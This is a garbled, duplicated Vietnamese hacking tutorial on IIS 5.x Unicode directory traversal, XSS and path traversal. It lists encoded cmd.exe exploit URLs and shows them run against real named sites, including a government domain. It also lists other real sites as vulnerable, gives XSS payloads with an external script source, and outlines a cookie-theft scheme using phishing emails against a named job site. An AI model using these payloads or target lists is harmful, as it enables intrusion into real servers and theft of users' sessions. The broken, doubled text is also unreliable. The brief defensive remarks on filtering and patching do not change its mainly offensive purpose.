code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
